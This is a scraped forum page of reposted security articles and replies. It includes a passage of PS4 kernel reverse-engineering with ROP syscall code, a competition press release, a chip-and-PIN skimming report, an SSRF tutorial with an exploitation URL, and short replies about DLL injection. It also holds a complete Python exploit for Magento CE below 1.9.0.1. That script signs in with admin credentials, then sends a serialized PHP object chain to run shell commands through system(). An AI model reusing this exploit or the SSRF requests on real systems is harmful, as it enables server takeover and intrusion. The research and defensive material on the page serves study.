0);The return value for this is 0x3f, ENAMETOOLONG. Unfortunately it seems that this system call correctly limits the name (32 bytes including NULL truncator), but it does tell us that it is expecting a string, rather than a struct. We now have a few possibilities for what this system call is doing, the most obvious being something related to the filesystem (such as a custom mkdir or open), but this doesn't seem particularly likely seeing as a resource was allocated even before we wrote any data to the pointer. To test whether the first parameter is a path, we can break it up with multiple / characters to see if this allows for a longer string: writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa"); chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);Since this also returns 0x3f, we can assume that the first argument isn't a path; it is a name for something that gets allocated a sequential identifier. After analysing some more system calls, I found that the following all shared this exact same behaviour: 533 538 557 574 580 From the information that we have so far, it is almost impossible to pinpoint exactly what these system calls do, but as you run more tests, further information will slowly be revealed. To save you some time, system call 538 is allocating an event flag (and it doesn't just take a name). Using general knowledge of how a kernel works, you can guess, and then verify, what the system calls are allocating (semaphores, mutexes, etc). Dumping additional modules We can dump additional modules by following these stages: Load the module Get the module's base address Dump the module I tediously tried loading and dumping every single module from within the Internet Browser manually, and posted the results on psdevwiki. All modules with Yes next to them can be dumped with this method. To load a module we will need to use the sceSysmoduleLoadModule function from libSceSysmodule.sprx + 0x1850. The first parameter is the module ID to load, and the other 3 should just be passed 0. The following JuSt-ROP method can be used to perform a function call: this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) { console.log("call " + name); if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1); if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2); if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3); if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4); if(typeof(arg5) !== "undefined") this.add("pop r8", arg5); if(typeof(arg6) !== "undefined") this.add("pop r9", arg6); this.add("pop rbp", stack_base + return_va - (chainLength + 8) + 0x1480); this.add(module_bases[module] + address); }So, to load libSceAvSetting.sprx (0xb): chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0); Like most system calls, this should return 0 on success. To see the loaded module ID that was allocated, we can use one of Sony's custom system calls, number 592, to get a list of currently loaded modules: var countAddress = chain.data; var modulesAddress = chain.data + 8; // System call 592, getLoadedModules(int *destinationModuleIDs, int max, int *count); chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress); chain.execute(function() { var count = getU64from(countAddress); for(var index = 0; index < count; index++) { logAdd("Module: 0x" + getU32from(modulesAddress + index * 4).toString(16)); } }); Running this without loading any additional modules will produce the following list: 0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59But if we run it after loading module 0xb, we seen an additional entry, 0x65. Remember that module ID is not the same as loaded module ID. We can now use another of Sony's custom system calls, number 593, which takes a loaded module ID and a buffer, and fills the buffer with information about the loaded module, including its base address. Since the loaded module ID is always 0x65, we can hardcode it into our chain, rather than having to store the result from the module list. The buffer must start with the size of the struct that should be returned, otherwise error 0x16 will be returned, "Invalid argument": setU64to(moduleInfoAddress, 0x160); chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress); chain.execute(function() { logAdd(hexDump(moduleInfoAddress, 0x160)); });It will return 0 upon success, and fill the buffer with a struct which can be read like so: var name = readString(moduleInfoAddress + 0x8); var codeBase = getU64from(moduleInfoAddress + 0x108); var codeSize = getU32from(moduleInfoAddress + 0x110); var dataBase = getU64from(moduleInfoAddress + 0x118); var dataSize = getU32from(moduleInfoAddress + 0x120); We now have everything we need to dump the module! dump(codeBase, codeSize + dataSize);There is another Sony system call, number 608, which works in a similar way to 593, but provides slightly different information about the loaded module: setU64to(moduleInfoAddress, 0x1a8); chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress); logAdd(hexDump(moduleInfoAddress, 0x1a8));It's not clear what this information is. Browsing the filesystem The PS4 uses the standard FreeBSD 9.0 system calls for reading files and directories. However, whilst using read for some directories such as /dev/ will work, others, such as / will fail. I'm not sure why this is, but if we use gendents instead of read for directories, it will work much more reliably: writeString(chain.data, "/dev/"); chain.syscall("open", 5, chain.data, 0, 0); chain.write_rax_ToVariable(0); chain.read_rdi_FromVariable(0); chain.syscall("getdents", 272, undefined, chain.data + 0x10, 1028);This is the resultant memory: 0000010: 0700 0000 1000 0205 6469 7073 7700 0000 ........dipsw... 0000020: 0800 0000 1000 0204 6e75 6c6c 0000 0000 ........null.... 0000030: 0900 0000 1000 0204 7a65 726f 0000 0000 ........zero.... 0000040: 0301 0000 0c00 0402 6664 0000 0b00 0000 ........fd...... 0000050: 1000 0a05 7374 6469 6e00 0000 0d00 0000 ....stdin....... 0000060: 1000 0a06 7374 646f 7574 0000 0f00 0000 ....stdout...... 0000070: 1000 0a06 7374 6465 7272 0000 1000 0000 ....stderr...... 0000080: 1000 0205 646d 656d 3000 0000 1100 0000 ....dmem0....... 0000090: 1000 0205 646d 656d 3100 0000 1300 0000 ....dmem1....... 00000a0: 1000 0206 7261 6e64 6f6d 0000 1400 0000 ....random...... 00000b0: 1000 0a07 7572 616e 646f 6d00 1600 0000 ....urandom..... 00000c0: 1400 020b 6465 6369 5f73 7464 6f75 7400 ....deci_stdout. 00000d0: 1700 0000 1400 020b 6465 6369 5f73 7464 ........deci_std 00000e0: 6572 7200 1800 0000 1400 0209 6465 6369 err.........deci 00000f0: 5f74 7479 3200 0000 1900 0000 1400 0209 _tty2........... 0000100: 6465 6369 5f74 7479 3300 0000 1a00 0000 deci_tty3....... 0000110: 1400 0209 6465 6369 5f74 7479 3400 0000 ....deci_tty4... 0000120: 1b00 0000 1400 0209 6465 6369 5f74 7479 ........deci_tty 0000130: 3500 0000 1c00 0000 1400 0209 6465 6369 5...........deci 0000140: 5f74 7479 3600 0000 1d00 0000 1400 0209 _tty6........... 0000150: 6465 6369 5f74 7479 3700 0000 1e00 0000 deci_tty7....... 0000160: 1400 020a 6465 6369 5f74 7479 6130 0000 ....deci_ttya0.. 0000170: 1f00 0000 1400 020a 6465 6369 5f74 7479 ........deci_tty 0000180: 6230 0000 2000 0000 1400 020a 6465 6369 b0.. .......deci 0000190: 5f74 7479 6330 0000 2200 0000 1400 020a _ttyc0.."....... 00001a0: 6465 6369 5f73 7464 696e 0000 2300 0000 deci_stdin..#... 00001b0: 0c00 0203 6270 6600 2400 0000 1000 0a04 ....bpf.$....... 00001c0: 6270 6630 0000 0000 2900 0000 0c00 0203 bpf0....)....... 00001d0: 6869 6400 2c00 0000 1400 0208 7363 655f hid.,.......sce_ 00001e0: 7a6c 6962 0000 0000 2e00 0000 1000 0204 zlib............ 00001f0: 6374 7479 0000 0000 3400 0000 0c00 0202 ctty....4....... 0000200: 6763 0000 3900 0000 0c00 0203 6463 6500 gc..9.......dce. 0000210: 3a00 0000 1000 0205 6462 6767 6300 0000 :.......dbggc... 0000220: 3e00 0000 0c00 0203 616a 6d00 4100 0000 >.......ajm.A... 0000230: 0c00 0203 7576 6400 4200 0000 0c00 0203 ....uvd.B....... 0000240: 7663 6500 4500 0000 1800 020d 6e6f 7469 vce.E.......noti 0000250: 6669 6361 7469 6f6e 3000 0000 4600 0000 fication0...F... 0000260: 1800 020d 6e6f 7469 6669 6361 7469 6f6e ....notification 0000270: 3100 0000 5000 0000 1000 0206 7573 6263 1...P.......usbc 0000280: 746c 0000 5600 0000 1000 0206 6361 6d65 tl..V.......came 0000290: 7261 0000 8500 0000 0c00 0203 726e 6700 ra..........rng. 00002a0: 0701 0000 0c00 0403 7573 6200 c900 0000 ........usb..... 00002b0: 1000 0a07 7567 656e 302e 3400 0000 0000 ....ugen0.4..... 00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ You can read some of these devices, for example: reading /dev/urandom will fill the memory with random data. It is also possible to parse this memory to create a clean list of entries; look at browser.html in the repository for a complete file browser: Unfortunately, due to sandboxing we don't have complete access to the file system. Trying to read files and directories that do exist but are restricted will give you error 2, ENOENT, "No such file or directory". We do have access to a lot of interesting stuff though including encrypted save data, trophies, and account information. I will go over more of the filesystem in my next article. Sandboxing As well as file related system calls failing for certain paths, there are other reasons for a system call to fail. Most commonly, a disallowed system call will just return error 1, EPERM, "Operation not permitted"; such as trying to use ptrace, but other system calls may fail for different reasons: Compatibilty system calls are disabled. If you are trying to call mmap for example, you must use system call number 477, not 71 or 197; otherwise a segfault will be triggered. Other system calls such as exit will also trigger a segmentation fault: chain.syscall("exit", 1, 0);Trying to create an SCTP socket will return error 0x2b, EPROTONOSUPPORT, indicating that SCTP sockets have been disabled in the PS4 kernel: //int socket(int domain, int type, int protocol); //socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); chain.syscall("socket", 97, 2, 1, 132);And although calling mmap with PROT_READ | PROT_WRITE | PROT_EXEC will return a valid pointer, the PROT_EXEC flag is ignored. Reading its protection will return 3 (RW), and any attempt to execute the memory will trigger a segfault: chain.syscall("mmap", 477, 0, 4096, 1 | 2 | 4, 4096, -1, 0); chain.write_rax_ToVariable(0); chain.read_rdi_FromVariable(0); chain.add("pop rax", 0xfeeb); chain.add("mov [rdi], rax"); chain.add("mov rax, rdi"); chain.add("jmp rax"); The list of open source software used in the PS4 doesn't list any kind of sandboxing software like Capsicum, so the PS4 must use either pureFreeBSD jails, or some kind of custom, proprietary, sandboxing system (unlikely). Jails We can prove the existence of FreeBSD jails being actively used in the PS4's kernel through the auditon system call being impossible to execute within a jailed environment: chain.syscall("auditon", 446, 0, 0, 0);The first thing the auditon system call does is check jailed here, and if so, return ENOSYS: if (jailed(td->td_ucred)) return (ENOSYS);Otherwise the system call would most likely return EPERM from the mac_system_check_auditon here: error = mac_system_check_auditon(td->td_ucred, uap->cmd); if (error) return (error);Or from the priv_check here: error = priv_check(td, PRIV_AUDIT_CONTROL); if (error) return (error);The absolute furthest that the system call could reach would be immediately after the priv_check, here, before returning EINVAL due to the length argument being 0: if ((uap->length <= 0) || (uap->length > sizeof(union auditon_udata))) return (EINVAL); Since mac_system_check_auditon and priv_check will never return ENOSYS, having the jailed check pass is the only way ENOSYS could be returned. When executing the chain, ENOSYS is returned (0x48). This tells us that whatever sandbox system the PS4 uses is at least based on jails because the jailed check passes. FreeBSD 9.0 kernel exploits It makes little sense trying to look for new vulnerabilities in the FreeBSD 9.0 kernel source code because since its release in 2012, several kernel exploits have already been found, which the PS4 could potentially be vulnerable to. We can immediately dismiss some of these for obvious reasons: FreeBSD 9.0-9.1 mmap/ptrace - Privilege Escalation Exploit - this won't work since, as previously stated, we don't have access to theptrace system call. FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation Exploit - won't work because the PS4 uses an AMD processor. FreeBSD Kernel - Multiple Vulnerabilities - maybe the first vulnerability will lead to something, but the other 2 rely on SCTP sockets, which the PS4 kernel has disabled (as previously stated). However, there are some smaller vulnerabilites, which could lead to something: getlogin One vulnerability which looks easy to try is using the getlogin system call to leak a small amount of kernel memory. The getlogin system call is intended to copy the login name of the current session to userland memory, however, due to a bug, the whole buffer is always copied, and not just the size of the name string. This means that we can read some uninitialised data from the kernel, which might be of some use. Note that the system call (49) is actually int getlogin_r(char *name, int len); and not char *getlogin(void);. So, let's try copying some kernel memory into an unused part of userland memory: chain.syscall("getlogin", 49, chain.data, 17);Unfortunately 17 bytes is the most data we can get, since: Login names are limited to MAXLOGNAME (from <sys/param.h>) characters, currently 17 including null. - FreeBSD Man Pages After executing the chain, the return value was 0, which means that the system call worked! An excellent start. Now let's take a look at the memory which we pointed to: Before executing the chain: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00After executing the chain: 72 6f 6f 74 00 fe ff ff 08 62 61 82 ff ff ff ff 00After decoding the first 4 bytes as ASCII: rootSo the browser is executed as root! That was unexpected. But more interestingly, the memory leaked looks like a pointer to something in the kernel, which is always the same each time the chain is run; this is evidence to support Yifanlu's claims that the PS4 has no Kernel ASLR! Summary From the information currently available, the PS4's kernel seems to be very similar to the stock FreeBSD 9.0 kernel. Importantly, the differences that are present appear to be from standard kernel configuration changes (such as disabling SCTP sockets), rather than from modified code. Sony have also added several of their own custom system calls to the kernel, but apart from this, the rest of the kernel seems fairly untouched. In this respect, I'm inclined to believe that the PS4 shares most of the same juicy vulnerabilities as FreeBSD 9.0's kernel! Unfortunately, most kernel exploits cannot be triggered from the WebKit entry point that we currently have due to sandboxing constraints (likely to be just stock FreeBSD jails). And with FreeBSD 10 being out, it's unlikely that anyone is stashing away any private exploits for FreeBSD 9, so unless a new one is suddenly released, we're stuck with what is currently available. It may not be impossible to exploit the PS4 kernel by leveraging some of the existing kernel memory corruption vulnerabilities, but it certainly would't be easy. The best approach from here seems to be reverse engineering all of the modules which can be dumped, in order to document as many of Sony's custom system calls as possible; I have a hunch that we will have more luck targeting these, than the standard FreeBSD system calls. Recently Jaicrab has discovered two UART ports on the PS4 which shows us that there are hardware hackers interested in the PS4. Although the role of hardware hackers has traditionally been to dump the RAM of a system, like with the DSi, which we can already do thanks to the WebKit exploit, there's also the possibility of a hardware triggered kernel vulnerability being found, like geohot's original PS3 hypervisor hack. It remains most likely that a kernel exploit will be found on the PS4 through system call vulnerabilities though. Thanks flatz SKFU droogie Xerpi Hunger Takezo nas Proxima Sursa: http://cturt.github.io/ps4.html
  10. Nytro
    £10,000 up for grabs with NCC Group’s Cyber 10K competition Seed investment programme launches for second year running NCC Group is investing in the next generation of cyber security talent with the return of Cyber 10K. The competition, which was first run back in 2014, is designed to stimulate creative thinking in the security industry while nurturing new talent. Anyone with an idea or concept that could help improve cyber security for businesses or consumers is eligible to enter, and it’s open to both individuals and groups. This year there are no strict categories but NCC Group has suggested entrants focus their thinking on one of the following areas: Cloud security Cyber incident response and clean-up IoT and mobile security Consumer and user awareness training and support Cyber security on small budgets Entries will be judged by an elite panel, consisting of: John Leyden, IT security reporter, The Register Professor Tim Watson, director at University of Warwick’s cyber security centre Professor Steve Schneider, Director, Surrey Centre for Cyber Security Alex van Someren, Managing Partner, Early Stage Funds at Amadeus Capital Partners Paul Vlissidis, technical director at NCC Group The winner will receive £10,000 to develop their solutions along with expert guidance and advice from security veterans at NCC Group. Last year’s winner, Ian Peters, developed a threat modelling tool dubbed ‘Minerva’ which enables a server to store attack surface models for large numbers of disparate applications, solutions and products, allowing links to be made between them. Rob Cotton, chief executive officer at NCC Group, said: “Cyber10K is our seed investment program for innovative ideas in the area of cyber security. We’re passionate about stimulating creativity in this arena, and want to do our part to help solve some of the real cyber security challenges that businesses and consumers face today. “If you think you have what it takes then enter now. The winner will receive support from our expert teams and this in itself is a money-can’t-buy experience.” Cyber 10K judge Steve Schneider, Director, Surrey Centre for Cyber Security, said: “Cyber security research is hugely important and initiatives like Cyber 10K that encourage it should be applauded. I see this as a brilliant opportunity for students to further develop any ideas and concepts they’ve had during their studies, and for amateur infosec enthusiasts to take their work to the next level.” For more information and entry criteria, visit the Cyber 10k website: www.cyber10k.trust About NCC Group NCC Group is a global information assurance specialist, passionate about making the Internet safer and revolutionising the way in which organisations think about cyber security. Through an unrivalled and unique range of services, the company provides organisations across the world with freedom from doubt that their most important assets are protected and operational at all times. Listed on the London Stock Exchange, NCC Group is a trusted advisor to more than 15,000 clients worldwide. Headquartered in Manchester, UK, NCC Group has over 20 offices across the world and employs over 1,000 specialists in information security, assurance and technology. NCC Group delivers security consulting, software escrow and verification, website performance, software testing and domain services. https://www.nccgroup.trust Published date: 19 August 2015 Sursa: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/press-releases/2015/august/10000-up-for-grabs-with-ncc-groups-cyber-10k-competition/
  11. Nytro
    Chip-and-PIN technology has been compromised August 19, 2015 By Pierluigi Paganini A new report published by the popular investigator Brian Krebs show how cyber criminals have compromised chip-and-PIN technology. Recently chip-and-PIN technology started to be adopted in the US because it would improve the security for the customers, merchants and financial institutions. This is true, but the problem is that when the market pushes in one direction, in this case the adoption of the chip-and-PIN technology, crooks exploit to ways to compromise it. A new “shimmer” was found in Mexico, “shimmer” means that a shim is between the chip of the user’s card and the chip reader in the ATM, making possible to record the data from the card while the ATM is reading it. This new “shimmer” was exposed by Brian Krebs in his blog, the popular expert explains that no special access is required to add the hack component to the ATM, because the component is added from outside. The component that you can see was found inside a Diebold Opteva 520 with dip reader (a dip reader is a type of card reader that requires you to insert your card and remove it quickly). This “traps” are starting to increase, and that means that the crooks need physical access to theATM. The new generation of traps, come equipped with a GSM module to send encrypted card data back to the crooks, and spy cameras are also installed above the ATM keyboards, of course a fake numerical keyboard installed by criminals. Other new ways of exploiting the chip-and-PIN technology is being used by crooks consist in: Using SMS to get money from ATMs using malicious codes. In restaurants using an electronic soldering tool and instead of the card chip they use a phone SIM card. The findings of the Kreb’s report demonstrate that is wrong to assume that just because you use chip-and-PIN technology you are safe. In addition, Banks need to have a more aggressive posture when dealing with card frauds and keep in mind that Crooks are always working to take advantage of a new technology. About the Author Elsio Pinto Elsio Pinto is at the moment the Lead Mcafee Security Engineer at Swiss Re, but he also as knowledge in the areas of malware research, forensics, ethical hacking. He had previous experiences in major institutions being the European Parliament one of them. He is a security enthusiast and tries his best to pass his knowledge. He also owns his own blog http://high54security.blogspot.com/ Pierluigi Paganini Sursa: http://securityaffairs.co/wordpress/39440/cyber-crime/chip-and-pin-technologyhack.html
  12. Nytro
    Vulnerable by Design: Understanding Server-Side Request Forgery BYMike Brooks Sometimes, walls get in the way, and when that happens, we need a door. A door needs a proper lock, or a security vulnerability may result. Server-side request forgery (SSRF) vulnerabilities can manifest in a number of ways, but usually it’s because a door was installed without a lock. The same-origin policy (SOP) is a wall every browser uses to keep users safe. If this wall didn’t exist, then while you are reading this blog post, JavaScript on this page would be allowed to interact with arbitrary domains. For example, malicious JavaScript could make a request tohttps://gmail.com, and access your email. Clearly, this should not be permitted, and is the reason why the same-origin policy exists. SSRF by Design Like any wall, though, the SOP tends to get in the way of application development. Normally, the JavaScript object XMLHttpRequest(), used to execute asynchronous HTTP requests, is restricted by browsers through the SOP so that it can only fetch content from the same domain or “origin.” However, there are ways of bypassing this aspect of SOP. One way that web application developers sidestep this restriction is by using a cross-domain proxy. In our analogy, a cross-domain proxy is a door into another domain — in more technical terms, it is a server-side component that makes HTTP requests on the client’s behalf, and returns the HTTP response so that the client can load content that is normally off limits due to the SOP. Reusing what exists is usually a good engineering principle, and when I searched for “cross-domain proxy” on Google, the first search result was vulnerable to SSRF under the right circumstances. Out of the box, the proxy.php file is disabled, and it requires configuration before it can be used. One of the configuration options is CSAJAX_FILTER_DOMAIN. If this constant is set to true, then proxy.php can be used to access any domain. Delving a bit deeper into the details, the PHP cross-domain proxy is typically used by JavaScript to fetch content from another domain, as shown by the following jQuery statement: [TABLE=width: 820] [TR] [TD=class: code]$('#target').load('/proxy/proxy.php?csurl=https://www.google.com/finance?q=gdx'); [/TD] [/TR] [/TABLE] The above JavaScript will access the proxy.php file on the same domain, which will in turn load the Google Finance page for the GDX ticker symbol and return the results to the client. This is not an example of a security vulnerability because anyone can fetch pages on Google Finance. What transforms a cross-domain proxy into an exploitable and useful SSRF vulnerability is the ability to access otherwise inaccessible network segments. Returning to our analogy, setting the proxy configuration parameter CSAJAX_FILTER_DOMAIN to true is like creating a door without a lock. In some contexts, like with the Google Finance page, this is fine; in others, it is deadly. Practical Exploitation of SSRF Consider that a web application server is typically connected to network segments that are normally off limits to the larger Internet. A good example applicable to virtually all systems is local network interface address 127.0.0.1, commonly mapped to the hostname localhost. In a vulnerable configuration, an attacker can abuse proxy.php to access the CUPS HTTP daemon, which is typically only accessible at http://localhost:631. To do so, the attacker would make the following request: [TABLE=width: 763] [TR] [TD=class: code]http://target/proxy.php?csurl=http://localhost:631 [/TD] [/TR] [/TABLE] Accessing the above URL should result in the following page: As seen above, exploiting SSRF to access a daemon executing on localhost, such as CUPS, is a good method to confirm a successful remote connection to a private network.The CUPS daemon is used to configure printers. Don’t get me wrong: Printers are fun, but they’re not really our goal. A shell would be nice, and older systems running the CUPS daemon on http://localhost:631 were vulnerable to Shellshock. The CUPS daemon runs as root, so the successful exploitation of Shellshock in this context results in root privileges. The CUPS Shellshock vulnerability can be remotely exploited by sending POST requests through an SSRF vulnerability, which is supported by proxy.php. Further Down the Rabbit Hole There are numerous attack opportunities that become available when SSRF is used to access internal networks. To help identify these opportunities, the Burp Intruder’s Cluster Bomb attack type can be used to make proxy.php into a useful port scanner for exploring the internal network. To execute this attack, start by configuring Intruder as shown in the following screenshot: The above Cluster Bomb attack type will use every permutation of the two lists represented by the $localhost$ and $631$ placeholders. The former list contains IP addresses that we want to scan, and the latter is a list of ports that may be running an HTTP daemon. Executing this attack in a test environment resulted in the following: Above, we see that an HTTP server running on 192.168.201.1 is accessible because it returned an HTTP 200 response. When accessed using SSRF, the following authentication page was exposed: Do administrative accounts used only on the internal network require strong passwords? The short answer is YES; however, weak passwords are a disturbingly common finding on internal network assessments, or in this case, an external penetration test that broke into the internal network. Conclusion The solution to this problem is that application developers needs to be more careful about the holes made in walls; a same-origin policy bypass needs to be more restrictive than a wide-open cross-domain proxy. Cross-origin resource sharing (CORS), introduced in HTML5, was created specifically to allow for a selective bypass of same-origin policy, and should be used in place of a cross-domain proxy whenever possible. In the days before CORS, developers needed to construct their own creative bypasses to the SOP, such as a cross-domain proxy, or JSON with Padding (JSONP)*. Developers will find creative and interesting solutions to difficult problems, but these are not always secure solutions. CORS isn’t a one-size-fits-all solution, though. If you need to use proxy.php, set CSAJAX_FILTERS to true and define the list of $valid_requests, which are whitelisted requests that the server is permitted to perform on the client’s behalf. Setting CSAJAX_FILTER_DOMAINS to false will ensure that proxy.php will only send the exact requests defined within $valid_requests. Meanwhile, setting the CSAJAX_FILTER_DOMAINS to true will only filter by domain name, which could still lead to a compromise. Another approach to consider is the use of a cross-domain proxy service — and let someone else take this dangerous functionally off your hands. Security can be a grueling process, and when the days drag on, sometimes developers notice holes in the wall and look the other way — without taking into consideration the ramifications. (Note: It is important to note that JSONP can also lead to serious vulnerabilities and must be used with caution.) Sursa: http://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/
  13. Nytro
    [h=1]Magento CE < 1.9.0.1 Post Auth RCE[/h] #!/usr/bin/python # Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE # Google Dork: "Powered by Magento" # Date: 08/18/2015 # Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com # Vendor Homepage: http://magento.com/ # Software Link: https://www.magentocommerce.com/download # Version: 1.9.0.1 and below # Tested on: Ubuntu 15 # CVE : none from hashlib import md5 import sys import re import base64 import mechanize def usage(): print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\"" sys.exit() if len(sys.argv) != 3: usage() # Command-line args target = sys.argv[1] arg = sys.argv[2] # Config. username = '' password = '' php_function = 'system' # Note: we can only pass 1 argument to the function install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml # POP chain to pivot into call_user_exec payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \ '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \ 'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \ 'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \ '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \ ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function, len(arg), arg) # Setup the mechanize browser and options br = mechanize.Browser() #br.set_proxies({"http": "localhost:8080"}) br.set_handle_robots(False) request = br.open(target) br.select_form(nr=0) br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control. br.form.fixup() br['login[username]'] = username br['login[password]'] = password br.method = "POST" request = br.submit() content = request.read() url = re.search("ajaxBlockUrl = \'(.*)\'", content) url = url.group(1) key = re.search("var FORM_KEY = '(.*)'", content) key = key.group(1) request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key) tunnel = re.search("src=\"(.*)\?ga=", request.read()) tunnel = tunnel.group(1) payload = base64.b64encode(payload) gh = md5(payload + install_date).hexdigest() exploit = tunnel + '?ga=' + payload + '&h=' + gh try: request = br.open(exploit) except (mechanize.HTTPError, mechanize.URLError) as e: print e.read() Sursa: https://www.exploit-db.com/exploits/37811/
  14. Nytro
    Stiu si de vulnerabilitate (sunt abonat pe full disclosure) si ca nu se aplica la noi. Voiam doar sa fac lumea sa incerce pe RST
  15. Nytro
    Shitty 4shared: http://dc108.4shared.com/img/WbhRrRdEce/s11/14f41d3e938/Modern_Windows_Exploit_Develop?sbsr=391bb2a5d89275531bf2a44eea427d5e1d68cb37c7b7c36c
  16. Nytro
    Cum se fixeaza asta?
  17. Nytro
    You inject in only one process, as I said you in PMs: DWORD ID = GetProcessId("chrome.exe"); This will find only last "chrome.exe" process. You will inject ONLY in that one. while(bRet) { if(!_stricmp(pe.szExeFile,szExeName)) { dwCount ; dwRet = pe.th32ProcessID; [COLOR=#ff0000][B] InjectDLL(dwRet,"C:\\Users\\Emi\\Documents\\Visual Studio 2012\\Projects\\iehookmdet\\Debug\\iehookmdet.dll")[/B][/COLOR] } bRet = Process32Next(hSnapshot, &pe); }
  18. Nytro
    As I explained you in PMs: sandbox have nothing to do with DLL injection. Wikipedia: https://en.wikipedia.org/wiki/Sandbox_(computer_security) You can inject a DLL using any method and do anything you want with your code. Your code will NOT run in the sandbox. Javascript for example runs in a sandbox.
  19. Nytro
    Pivoting to internal network via non-interactive shell August 6, 2015 Adrian Furtuna During a recent penetration test we have experienced the situation where we’ve gained remote code execution with limited privileges to a web server and had to pivot to other hosts from the internal network.For this, we had to find a reliable method to forward our traffic from our local machine to the internal host via the compromised server. This blog post describes how we solved this situation – for future reference. Problem details Our scenario is best described in the diagram below: Achieving our goal was not that straight forward since the compromised server was behind a firewall and only ports 80 and 443 were permitted inbound. Furthermore, we were executing commands as www-data user and our non-interactive shell (PHP passthru) was pretty limited. Articol complet: http://securitycafe.ro/2015/08/06/pivoting-to-internal-network-via-non-interactive-shell/
  20. Nytro
    This guy is what we can really call a "hacker". Not a shitty kid that exploits a website or bruteforce a SSH password.
  21. Nytro
    Reveniti la 7...
  22. Nytro
    Description NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption. NetRipper was released at Defcon 23, Las Vegas, Nevada. Abstract The post-exploitation activities in a penetration test can be challenging if the tester has low-privileges on a fully patched, well configured Windows machine. This work presents a technique for helping the tester to find useful information by sniffing network traffic of the applications on the compromised machine, despite his low-privileged rights. Furthermore, the encrypted traffic is also captured before being sent to the encryption layer, thus all traffic (clear-text and encrypted) can be sniffed. The implementation of this technique is a tool called NetRipper which uses API hooking to do the actions mentioned above and which has been especially designed to be used in penetration tests, but the concept can also be used to monitor network traffic of employees or to analyze a malicious application. https://github.com/NytroRST
  23. Nytro
    Exploit de Word, nu deschide. Uploadeaza-l undeva si da-ne link. E plina campanie Dridex.
  24. Nytro
    Replace char chrome[260]; with char chrome[1024]; and check again.
  25. Nytro
    What does "GetEnvironmentVariable" return and what is the content of the "chrome" variable after "GetEnvironmentVariable" function call?
×
×
  • Create New...